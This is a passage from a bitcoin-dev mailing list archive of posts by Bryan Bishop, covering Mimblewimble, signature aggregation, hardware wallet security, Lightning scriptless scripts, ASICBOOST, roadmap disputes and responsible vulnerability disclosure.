bitcoin-disc...@lists.linuxfoundation.org or
bitcoin-dev-own...@lists.linuxfoundation.org instead of the bitcoin-dev
mailing list.

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Holdup on Block Alerts / Fraud Proofs ?

[Bryan Bishop via bitcoin-dev]

On Sat, Jul 30, 2016 at 6:18 PM, Paul Sztorc via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:
>
> I've also heard that segwit will help, but don't understand why.
>

There are some helpful discussions that happened over here:
https://botbot.me/freenode/bitcoin-core-dev/2015-12-28/?msg=56907496=2

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

[bitcoin-dev] Mimblewimble: non-interactive coinjoin, signature aggregation and confidential transactions

[Bryan Bishop via bitcoin-dev]

Someone dropped this document in -wizards the other day:
http://5pdcbgndmprm4wud.onion/mimblewimble.txt
http://diyhpl.us/~bryan/papers2/bitcoin/mimblewimble.txt

Some commentary:
http://gnusha.org/bitcoin-wizards/2016-08-02.log
http://gnusha.org/bitcoin-wizards/2016-08-03.log
https://www.reddit.com/r/Bitcoin/comments/4vub3y/mimblewimble_noninteractive_coinjoin_and_better/

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

[bitcoin-dev] A conversation with Dan Boneh (2016-08-01)

[Bryan Bishop via bitcoin-dev]

Some Bitcoin developers and miners went to visit with Dan Boneh at Stanford
earlier today, and I thought I would share what we talked about.

Transcript:
http://diyhpl.us/wiki/transcripts/2016-july-bitcoin-developers-miners-meeting/dan-boneh/

Topics discussed include elliptic curve crypto, ECDSA, Schnorr signatures,
signature aggregation, BLS signature schemes, pairing crypto, group
signatures, block-level signature aggregation, transaction-level signature
aggregation, post-quantum crypto, quantum mining ASICs, provable solvency
schemes, scrypt password hashing, and balloon hashing.

(I would include the text directly but it's nearly 60 kilobytes in size and
past the point where I am presently comfortable with gunking up other
mailboxes.)

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Hardware Wallet Standard

[Bryan Bishop via bitcoin-dev]

On Tue, Aug 16, 2016 at 7:14 PM, Peter Todd via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:

> The other serious problem - and this is a problem with smartcards in
> general
> anyway - is that without Bitcoin-specific logic you're just signing
> blindly; we
> recently saw the problems with that with the Bitfinex/BitGo hack. And even
> then, without a screen most of the hardware wallets in are still just
> signing
> blindly, with at best hard-to-use limits on maximum funds moved
> per-transaction. Also note how even hardware wallets with a screen, like
> Trezor, aren't yet able to authenticate who you are paying.
>

"Welcome to my threat model."

In multisig scenarios, there must be a different "trust root" for each key.
For example, storing two private keys next to each other on the same web
server is broken because if one key is compromised it is infinitely trivial
to compromise the second key. Using multiple web servers is also broken if
the two servers are controlled by the same AWS keys or same "help me get my
servers back" support email request to whatever single sign-on service is
used. In some cases, it can be better to write software such that
transaction data is served at a particular location, and another
security-critical step is responsible for downloading that data from the
first machine, rather than the first computer directly pushing (with
authentication credentials in place for the attacker to compromise) the
data to the second computer.

I recommend using hardware security modules (HSMs). It's important to have
a public, reviewed bitcoin standard for hardware wallets, especially HSMs.
I expect this is something that the entire industry has a tremendous
interest in following and contributing to, which could even lead to
additional resources contributed (or at the very least, more detailed
requirements) towards libconsensus work.

Instead of signing any bitcoin transaction that the hardware wallet is
given, the hardware should be responsible for running bitcoin validation
rules and business logic, which I recommend for everyone, not only
businesses. Without running business logic and bitcoin validation rules,
the actual bitcoin history on the blockchain could be a very different
reality from what the hardware thinks is happening. Using a different
out-of-band communication channel, the hardware could query for information
from another database in another trust root, which would be useful for
business logic to validate against.

As for a screen, I consider that somewhat limited because you only get text
output (and I don't know if I can reasonably suggest QR codes here). With a
screen, you are limited to text output, which can compromise privacy of the
device's operations and info about the wallet owner. An alternative would
be to have a dedicated port that is responsibly only for sending out data
encrypted to the key of the wallet owner, to report information such as
whatever the hardware's transaction planner has decided, or to report about
the state of the device, state of the bitcoin validation rules, or any
accounting details, etc. Additionally, even a signed transaction should be
encrypted to the key of the device owner because a signed transaction can
be harmless as long as the owner still has the ability to control whether
the signed transaction is broadcasted to the network. It's "separation of
concerns" for transaction signing and decrypting a signed transaction
should be unrelated and uncoupled.

Also I am eager to see what the community proposes regarding signed and
authenticated payment requests.

((insert here general promotional statement regarding the value of reusable
checklists used during every signing ritual ceremony))

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

[bitcoin-dev] Some transcripts from Scaling Bitcoin 2016

[Bryan Bishop via bitcoin-dev]

Previously:
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-December/011862.html

Here are some talks from Milan:
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/fungibility-overview/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/joinmarket/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/tumblebit/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/mimblewimble/

http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/onion-routing-in-lightning/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/flare-routing-in-lightning/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/unlinkable-outsourced-channel-monitoring/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/lightning/

http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/segwit-lessons-learned/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/schnorr-signatures/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/bip151-peer-encryption/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/coin-selection/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/covenants/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/on-the-security-and-performance-of-proof-of-work-blockchains/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/collective-signing/

http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/fast-difficulty-adjustment/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/jute-braiding/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/client-side-validation/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/breaking-the-chain/

http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/day-1-group-summaries/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/day-2-group-summaries/

These are not always exact transcripts because I am typing while I am
listening, thus there are mistakes including typos and listening
errors, so please keep this discrepancy in mind between what's said
and what's typed.

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Defending against empty or near empty blocks from malicious miner takeover?

[Bryan Bishop via bitcoin-dev]

On Sun, Mar 26, 2017 at 3:37 PM, Trevin Hofmann 
wrote:

> He stated that "any invalid blocks they produce" will be orphaned. This is
> not false. If non-upgraded miners do not produce blocks that are invalid
> per the new rules, their blocks will not be orphaned. This is consistent
> with Peter's comment.


It's the other part of the statement- the "wakeup call to upgrade" from
producing invalid blocks? They aren't producing invalid blocks.
Additionally, if they want to be even more sure about this, they can run
the so-called "border nodes". No wakeup calls needed the point of a
soft-fork is to reduce incompatibility.

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

[bitcoin-dev] Fwd: [Mimblewimble] Lightning in Scriptless Scripts

[Bryan Bishop via bitcoin-dev]

-- Forwarded message --
From: Andrew Poelstra 
Date: Mon, Mar 20, 2017 at 5:11 PM
Subject: [Mimblewimble] Lightning in Scriptless Scripts
To: mimblewim...@lists.launchpad.net





In my last post about scriptless scripts [2] I described a way to do
deniable atomic swaps by pre-sharing a difference of signatures. This
had the limitation that it required at least one party to be shared
between the signatures, allowed only pairwise linking, and required
both signatures to cover data that is known at the time of setup.
Linking a multi-hop Lightning channel with these constraints has proved
difficult.

* * *

Recently I've found a different construction that behaves much more like
a hash preimage challenge, and this can actually be used for Lightning.
Further, it supports reblinding, so you can learn a preimage but hide
which one you're looking for. (Ethan, one might actually overlap with
TumbleBit, sorry :)).

It works like this. We'll treat x -> xG as a hash function, so x is the
preimage of xG. There are two separate but related things I can do: (a)
construct a signature which reveals the preimage; or (b) create a
"pre-signature" which can be turned into a signature with the help of
the preimage.

Here's how it works: suppose I send xG to Rusty and he wants to send
me coins conditional on my sending him x. Lets say I have key P1 and
nonce R1; he has key P2 and nonce R2. Together we're going to make a
multisignature with key P1 + P2 and Rusty is going to set things up
so that I can't complete the signature without telling him x.

Here we go.

  0. We agree somehow on R1, R2, P1, P2.

  1. We can both compute a challenge e = H(P1 + P2 || R1 + R2 || tx).

  2. I send s' = k1 - x - x1e, where R1 = k1G and P1 = x1G. Note he
 can verify I did so with the equation s'G = R1 - xG - eP1.

  3. He now sends me s2 = k2 - x2e, which is his half of the multisig.

  4. I complete the sig by adding s1 = k1 - x1e. The final sig is
 (s1 + s2, R1 + R2).

Now as soon as this signature gets out, I can compute x = s1 - s'.

* * *

Ok, pretty nifty. But now suppose Rusty wants to receive coins conditioned
on him revealing x, say, because he's a middle hop in a Lightning channel.
You might think he could act the same as I did in step (2), computing
s' = k1 - x - x1e, but actually he can't, because he doesn't know x himself!
All good. Instead he does the following.

To put names on things, let's say he's taking coins from Tadge. The
protocol is almost the same as above.

  0. They agree somehow on R1, R2, P1, P2. Tadge's key and nonce are
 R1 and P1, but there's a catch: P1 = x1G as before, but now
 R1 - xG = k1G. That is, his nonce is offset by k1G.

  1. They can both compute a challenge e = H(P1 + P2 || R1 + R2 || tx).

  2. Tadge sends the "presignature" s' = k1 - x1e. Rusty can verify this
 with the equation s'G = R1 - xG - eP1.

  3. Now whenever Rusty obtains x, he can compute s1 = s' - x, which is
 Tadge's half of the final signature.

  4. Rusty computes s2 himself and completes the signature.

* * *

Ok, even cooler. But the real Rusty complained about these stories, saying
that it's a privacy leak for him to use the same xG with me as he used with
Tadge. In a onion-routed Lightning channel, this xG-reuse would let all
any two participants in a path figure out that they were in one path, if
they were colluding, even if they weren't directly connected.

No worries, we can fix this very simply. Rusty chooses a reblinding factor
rG. I give him x, as before, but what Tadge demands from him is (x + r).
(I give xG to Rusty as a challenge; he forwards this as xG + rG to Tadge.)
Since Rusty knows r he's able to do the translation. The two challenges
appear uniformly independently random to any observers.

* * *

Let's put this together into my understanding of how Lightning is supposed
to work. Suppose Andrew is trying to send coins to Drew, through Bob and
Carol. He constructs a path

  A --> B --> C --> D

where each arrow is a Lightning channel. Only Andrew knows the complete
path, and is onion-encrypting his connections to each participant (who
know the next and previous participants, but that's it).

He obtains a challenge T = xG from D, and reblinding factors U and V
from B and C. Using the above tricks,

  1. A sends coins to B contingent on him learning the discrete logarithm
 of T + U + V.

  2. B sends coins to C contingent on him learning the discrete logarithm
 of T + V. (He knows the discrete log of U, so this is sufficient for
 him to meet Andrew's challenge.)

  3. C sends to D contingent on him learning the discrete log of T, which
 is D's original challenge. Again, because C knows the discrete log
 of V, this is sufficient for her to meet B's challenge.

The resulting path consists of transactions which are signed with single
uniformly random independent Schnorr signatures. Even though they're all
part of an atomic Lightning 

Re: [bitcoin-dev] BIP proposal: Inhibiting a covert attack on the Bitcoin POW function

[Bryan Bishop via bitcoin-dev]

On Thu, Apr 6, 2017 at 7:02 AM, Luv Khemani via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:

> Could you elaborate on why you consider ASICBOOST to be an attack? Attack
> here implies ill-intent by the practitioner towards the network as a
> primary motivating factor.
>
>
See
https://www.reddit.com/r/Bitcoin/comments/63otrp/gregory_maxwell_major_asic_manufacturer_is/dfwcki3/

"""
I think that it is an attack is a completely unambiguous technical
description of what it is. If a signature is supposed to resist forgery
against 2^128 operations, but you find a way to do it with 2^80 instead,
this is an attack. It is, perhaps, not a very concerning attack and you may
or may not change your signature scheme to avoid it or may just instead say
the scheme has 2^80 security. But there is no doubt that it would be called
an attack, especially if it was not described in the original proposal.

In Bitcoin's Proof of Work, you are attempting to prove a certain amount of
work has been done. This shortcut significantly reduces the amount of work.
It's an attack. Normally it wouldn't be a serious attack-- it would just
get appended to the defacto definition of what the Bitcoin Proof of work
is-- similar to the signature system just getting restarted as having 2^80
security-- but in it's covert form it cannot just be adopted because it
blocks many further improvements (not just segwit, but the vast majority of
other proposals), and additional the licensing restrictions inhibit
adoption.

The proposal I posted does not prevent the technique, only the covert form:
That is, it doesn't even attempt to solve the patented tech eventually will
centralize the system problem. It is narrowly targeted at the interference
with upgrades.

Taking a step back-- even ignoring my geeking out about the technical
definition of 'attack' in crypographic contexts, we have a set of issues
here that left addressed will seriously harm the system going forward for
the the significant monetary benefit of an exploiting party. I think that
also satisfies a lay definition of the term: Something someone does, that
none one expected, that makes them money at everyone elses expense.
"""

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

[bitcoin-dev] Fwd: [Lightning-dev] Lightning in the setting of blockchain hardforks

[Bryan Bishop via bitcoin-dev]

-- Forwarded message --
From: Christian Decker 
Date: Thu, Aug 17, 2017 at 5:39 AM
Subject: Re: [Lightning-dev] Lightning in the setting of blockchain
hardforks
To: Martin Schwarz ,
lightning-...@lists.linuxfoundation.org


Hi Martin,

this is the perfect venue to discuss this, welcome to the mailing list :-)
Like you I think that using the first forked block as the forkchain's
genesis block is the way to go, keeping the non-forked blockchain on the
original genesis hash, to avoid disruption. It may become more difficult in
the case one chain doesn't declare itself to be the forked chain.

Even more interesting are channels that are open during the fork. In these
cases we open a single channel, and will have to settle two. If no replay
protection was implemented on the fork, then we can use the last commitment
to close the channel (updates should be avoided since they now double any
intended effect), if replay protection was implemented then commitments
become invalid on the fork, and people will lose money.

Fun times ahead :-)

Cheers,
Christian

On Thu, Aug 17, 2017 at 10:53 AM Martin Schwarz 
wrote:

> Dear all,
>
> currently the chain_id allows to distinguish blockchains by the hash of
> their genesis block.
>
> With hardforks branching off of the Bitcoin blockchain, how can Lightning
> work on (or across)
> distinct, permanent forks of a parent blockchain that share the same
> genesis block?
>
> I suppose changing the definition of chain_id to the hash of the first
> block of the new
> branch and requiring replay and wipe-out protection should be sufficient.
> But can we
> relax these requirements? Are slow block times an issue? Can we use
> Lightning to transact
> on "almost frozen" block chains suffering from a sudden loss of hashpower?
>
> Has there been any previous discussion or study of Lightning in the
> setting of hardforks?
> (Is this the right place to discuss this? If not, where would be the right
> place?)
>
> thanks,
> Martin
> ___
> Lightning-dev mailing list
> lightning-...@lists.linuxfoundation.org
> https://lists.linuxfoundation.org/mailman/listinfo/lightning-dev
>

___
Lightning-dev mailing list
lightning-...@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/lightning-dev




-- 
- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

[bitcoin-dev] Fwd: [Lightning-dev] Lightning Developers Biweekly Meeting Announce

[Bryan Bishop via bitcoin-dev]

-- Forwarded message --
From: Rusty Russell 
Date: Wed, Jul 12, 2017 at 6:27 PM
Subject: [Lightning-dev] Lightning Developers Biweekly Meeting Announce
To: lightning-...@lists.linuxfoundation.org


Hi all!

Every two weeks we've been running an informal Google Hangout
for implementers of the Lightning spec; as the spec is starting to
freeze, we've decided to formalize it a bit which means opening access
to a wider audience.

The call is at 20:00 UTC every two weeks on Monday: next call is
on the 24th July.  We'll be using #lightning-dev on freenode's IRC
servers to communicate as well: if you're working on the Lightning
protocol and want to attend, please send me a ping and I'll add you to
the invite.

I'll produce an agenda (basically a list of outstanding PRs on
github) and minutes each week: I'll post the latter to the ML here.
The last one can be found:


https://docs.google.com/document/d/1EbMxe_QZhpHo67eeiYHbJ-BvNKU1WhFd5WhJFeD9-DI/edit?usp=sharing

The routine with the spec itself is that from now on all
non-spelling/typo changes will require a vote with no objections from
call participants, or any devs unable to make it can veto or defer by
emailing me in writing before the meeting.

Cheers!
Rusty.
___
Lightning-dev mailing list
lightning-...@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/lightning-dev


-- 
- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Updating the Scaling Roadmap

[Bryan Bishop via bitcoin-dev]

On Tue, Jul 11, 2017 at 8:40 PM, Paul Sztorc via bitcoin-dev
 wrote:
> it, etc. But I am not willing to press the issue. Some of your other
> comments I also find confusing but there is little to be gained in
> clarifying them. )

To me it looked as if I was reading an email that was making a bunch
of points about how bitcoin development can't be coordinated and how
things would be broken if it were to be coordinated ("high authority
edicts"). There was a lot of harm caused by calling that 2015 email a
roadmap. Somehow-- and there's no way to figure out how this happened
I guess- people started putting timeline commitments to different
features. But there's really no way to guarantee any of those
timelines. And I think it's very quick to reach the point of unethical
to advocate a perspective that there's guarantee to things will happen
according to that timeline in the standard bitcoin development model.
I think there's already such a huge amount of public misunderstanding
around how bitcoin development works that giving guarantees even as a
community would further increase the misunderstandings.

> Generally, I still think that the roadmap was a helpful communication
> device, which did more good than harm. And I am interested in hearing
> what other people think.

I think generally communicating about research directions and projects
is useful and valuable, and I don't see any disagreement about that in
itself from anyone in this thread. I recommend an abundance of caution
with regards to whether to call these efforts roadmaps.

>> Come now, this is needlessly insulting. I would have made the same
>> comment if you had talked to me because you didn't talk to most/all of
>> Matt Corallo, Wladimir, Pieter Wuille, Alex Morcos, etc e.g. the
>> people doing most of the work of actually building the system.  Before
>> making that comment I went and checked with people to find out if only
>> I was left out.  Talking to Adam (who isn't involved in the project)
>> and Luke-jr (who is but is well known for frustratingly extreme
>> minority positions and also contracts for Blockstream sometimes) isn't
>
> Let me try to explain my point of view. I did speak to several people,
> in addition to the two names that I privately volunteered to you when
> you had done no research (you failed to uncover any additional names),

Well I mean he did look at some of the people putting the most effort
into bitcoin development. Why would he start at the other end of the
list as a rough check..?

> suggested that, other than yourself and a few others, no one is
> qualified even to write a first draft of a summary of present day

Those suggestions were mixed with strong avocado that summaries are
good, coupled with recommendations that these aren't really roadmaps.
As to qualifying from where knowledge is sourced, yeah it seems like
talking with developers is a good idea, it seems everyone agrees with
that in this thread.

> activities. This response is typical of the hostile review environment
> which has existed in Bitcoin for years (I am more than used to it). If

Well, to the extent that criticism is being misinterpreted as hostile,
I have seen people get upset from basic security review because "why
were't we more friendly and just say OK instead of pointing out the
problems".

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

[bitcoin-dev] Fwd: [Mimblewimble] proofs of position and UTXO set commitments

[Bryan Bishop via bitcoin-dev]

-- Forwarded message --
From: Bram Cohen 
Date: Thu, Jul 27, 2017 at 1:21 PM
Subject: Re: [Mimblewimble] Switch to Blake2
To: Ignotus Peverell 
Cc: Bryan Bishop 


I have quite a few thoughts about proofs of position. I gave a talk about
it which hopefully gets the points across if you go through all the Q:

https://www.youtube.com/watch?v=52FVkHlCh7Y

On Mon, Jul 24, 2017 at 12:12 PM, Ignotus Peverell <
igno.pever...@protonmail.com> wrote:

> Interesting, thanks for the link. Seems we arrived at similar conclusions
> regarding the hash function, with similar frustrations with respect to
> blake2b/2s.
>
> Funny that it's also for the same merkle set application. We ended up with
> a Merkle Mountain Range [1] instead of a Patricia tree. The MMR is
> append-only and makes pruning easy, which works well for MimbleWimble. You
> can navigate down the MMR with just the position the element was inserted
> at, so we just keep a simple index for that. Memory layout is great as a
> lot of it is immutable and sit close together, although the current impl
> doesn't leverage that too well yet. Wonder if Bram looked at MMRs? Patricia
> trees may make more sense for Bitcoin though.
>
> Proof of positions are cool, might look at that some more in the near
> future, when we're less busy implementing everything else ;-)
>
>
> - Igno
>
> [1] https://github.com/ignopeverell/grin/blob/master/doc/merkle.md
>
>  Original Message 
> Subject: Re: [Mimblewimble] Switch to Blake2
> Local Time: July 24, 2017 6:44 PM
> UTC Time: July 24, 2017 6:44 PM
> From: kanz...@gmail.com
> To: Ignotus Peverell , Bram Cohen <
> b...@bittorrent.com>, Bryan Bishop 
>
> On Fri, Jul 21, 2017 at 1:12 PM, Ignotus Peverell <
> igno.pever...@protonmail.com> wrote:
>
>> So I'm considering a switch to the Blake2 [3] hash function.
>>
>
> Bram recently made some comments about blake a few weeks ago:
> http://diyhpl.us/wiki/transcripts/sf-bitcoin-meetup/2017-07-
> 08-bram-cohen-merkle-sets/
>
> - Bryan
> http://heybryan.org/
> 1 512 203 0507 <(512)%20203-0507>
>
>
>



-- 
- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Updating the Scaling Roadmap

[Bryan Bishop via bitcoin-dev]

I can't help but notice that I have read Greg's email before-- all the
way back in 2016. It would have been impossible for him to write a
reply to Paul's current email back then... but I also notice that Greg
did not indicate that he was copy-pasting until the very end (and even
then his aside at the end was sort of not the most clear it could have
been I think).

On Tue, Jul 11, 2017 at 5:17 PM, Paul Sztorc via bitcoin-dev
 wrote:
> On 7/11/2017 5:11 PM, Gregory Maxwell wrote:
>> [  Note 1: I think it is important to disclose that several of the
>> items in this list appear to be more or less quoted out of my own
>> blockstream-internal descriptions of things we've been working on in
>> Bitcoin.
>> A while back Adam Back asked me to publish something which contained
>> significant chunks of this document more or less verbatim,
[ snip ]
> I am not exactly sure what you are insinuating but I encourage you to
> clarify it.

I believe that's an artifact of a 2016 email. And the rest of it, for
that matter. See below.

>> and I
>> declined saying that I personally disagree with some of his points and
>> didn't think that Blockstream attempting to redirect the Bitcoin
>> project (esp towards drivechains) was appropriate-- along with my
>> (above) views on roadmaps (which I have included here a private email
>> thread on the subject). I feel it's important to disclose this, and
>> that the document was not otherwise created with the input of project
>> contributors (except Luke-Jr, apparently). I wasn't previously aware
>> that Adam had been working with Paul on this, had I been I would have
>> also encouraged people to be a little more transparent about it. ]
> I really don't understand what you are disclosing. That Adam asked you
> for feedback on the draft? And then, in the next sentence, that not
> enough experts were asked for feedback on the draft? I'm legitimately
> confused by this part.
>
> As I stated, we can remove the drivechain section. But surely you can
> appreciate how bizarre your position on roadmaps is. What exactly, did
> you intended to create at [1]? Since it is described explicitly as "the
> roadmap in Capacity increases for the Bitcoin system", have you been
> disagreeing with it's characterization as a 'roadmap' this entire time?
> One wonders why you haven't said anything until now.
>
> [1] https://bitcoincore.org/en/2015/12/21/capacity-increase/

The vast majority of Greg's email, including all the positiontext on
roadmaps was mostly text sent on 2016-11-04 to Adam Back, myself,
Wladimir, and others. Some of the other parts aren't, like the part
mentioning Blockstream.

Here is a commitment to a list of the recipients (for whatever good
such a commitment might do):
b1e575e15d86a5a5931ea0bc519701df4cc152f020f03cd7912074ce5c36260a

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] [BIP Proposal] Partially Signed Bitcoin Transaction (PSBT) format

[Bryan Bishop via bitcoin-dev]

On Fri, Aug 18, 2017 at 5:11 PM, Andrew Chow via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:
>
> I would like to propose a standard format for unsigned and partially
> signed transactions.
>

Just a quick note but perhaps you and other readers would find this thread
(on hardware wallet BIP drafting) to be tangentially related and useful:
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2016-August/013008.html

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Merkle branch verification & tail-call semantics for generalized MAST

[Bryan Bishop via bitcoin-dev]

On Mon, Sep 11, 2017 at 9:03 PM, Mark Friedenbach via bitcoin-dev
 wrote:
> I believe you meant "unclean stack," and you are correct. This was
> also pointed out last tuesday by a participant at the in-person
> CoreDev meetup where the idea was presented.

http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2017-09-07-merkleized-abstract-syntax-trees/

> > For code complexity, the minimal BIP114 could be really simple, like
> > <30 lines of code? It looks complex now because it does much more
> > than simply hiding scripts in a hash.
>
> Is there a repo that contains the latest implementation of BIP 114,
> for comparison purposes?

original bip114:
https://github.com/bitcoin/bips/blob/775f26c02696e772dac4060aa092d35dedbc647c/bip-0114.mediawiki
revised bip114: https://github.com/jl2012/bips/blob/vault/bip-0114.mediawiki
https://github.com/jl2012/bitcoin/commits/vault
from 
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2017-September/014963.html

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Responsible disclosure of bugs

[Bryan Bishop via bitcoin-dev]

On Mon, Sep 11, 2017 at 10:37 PM, Anthony Towns via bitcoin-dev
 wrote:
> All of those things seem like they'd help not just altcoins but bitcoin
> investors/traders too, so it's not even a trade-off between classes of
> bitcoin core users.  And if in the end various altcoins aren't able to
> keep up with security fixes, that's probably valuable information to
> provide to the market...

I have a reply to your point, but I want to clarify first that I am
not trying to provide any sort of criticism of your character, and to
any extent that my text is misinterpreted that way, that's entirely my
fault here. Anyway, here goes.

It's not enough to defend bitcoin and its users from active threats,
there is a more general responsibility to defend all kinds of users
and different software from many kinds of threats in whatever forms,
even if folks are using stupid and insecure software that you
personally don't maintain or contribute to or advocate for. Handling
knowledge of a vulnerability is a delicate matter and you might be
receiving knowledge with more serious direct or indirect impact than
originally described.

Besides the moral and ethical reasons to not unduly accelerate the
exploitation of a vulnerability, there is also a reputational
standpoint to consider, in that your position that your own (security)
work is credible is actually harmed by showing negative care for other
works by being first to publish either insecure software or knowledge
of a vulnerability. And sometimes the opposite is true: by not
disclosing knowledge of how a design is broken to someone inviting its
review, you're showing negative care in that way too, such as by
unintentionally encouraging the implementation of really bad ideas or
entirely novel misunderstandings of what you once thought were clear
concepts. So there is a difficult path to walk and especially in
security not all may be as it seems; caution is highly recommended.

Yes it would be good for "the market" to "get the signal" that
altcoins are insecure, and that some altcoin vendors are literally and
actively malicious entities, but I think everyone needs to take a step
back here and very carefully consider the color of their hats,
including those who advocate in the name of insecure downstream/forked
software.

The downside of the approach I've advocated for is that it requires
knowledge, thinking and outsmarting the red teams; I am certainly
aware of the allure of the approaches that involve absolutist
statements like "anything weak [including bitcoin if it does have
weaknesses] deserves to die and be actively exploited" but it's not
something I am interested in espousing...nor do I think it would be
healthy for this community to internalize that perspective. Instead we
should continue to work on highly defensible software, and keep
vigilant in regards to security. In "the [civilized] garden" I would
expect there to be a general understanding that people collaborate and
work together to build highly defensible evolving systems even if
there exists knowledge of vulnerabilities. But we shouldn't be
surprised when we don't go out of our way to contribute to
alternative/parasitic systems... and we shouldn't be encouraging each
other to actively bring about the eschaton by way of mishandling
knowledge of vulnerabilities...

I know these issues are difficult to get a handle on. Hopefully I've
provided some useful perspective.

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Revising BIP 2 to expand editorial authority

[Bryan Bishop via bitcoin-dev]

On Wed, Sep 27, 2017 at 1:56 PM, Luke Dashjr via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:

> What do people think about modifying BIP 2 to allow editors to merge these
> kinds of changes without involving the Authors? Strictly speaking, BIP 2
> shouldn't be changed now that it is Active, but for such a minor revision,
> I
> think an exception is reasonable.
>

Even minor revisions can not change the meaning of text. Changing a single
word can often have a strange impact on the meaning of the text. There
should be some amount of care exercised here. Maybe it would be okay as
long as edits are mentioned in the changelog at the bottom of each
document, or mention that the primary authors have not reviewed suggested
changes, or something as much; otherwise the reader might not be aware to
check revision history to see what's going on.

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

[bitcoin-dev] Fwd: [Lightning-dev] General question on routing difficulties

[Bryan Bishop via bitcoin-dev]

-- Forwarded message --
From: Olaoluwa Osuntokun 
Date: Sat, Nov 25, 2017 at 1:16 PM
Subject: Re: [Lightning-dev] General question on routing difficulties
To: Pedro Moreno Sanchez 
Cc: lightning-...@lists.linuxfoundation.org


(final try as the prior mail hit the size limit, sorry for the spam!)

Hi Pedro,

I came across this paper a few weeks ago, skimmed it lightly, and noted a
few interesting aspects I wanted to dig into later. Your email reminded me
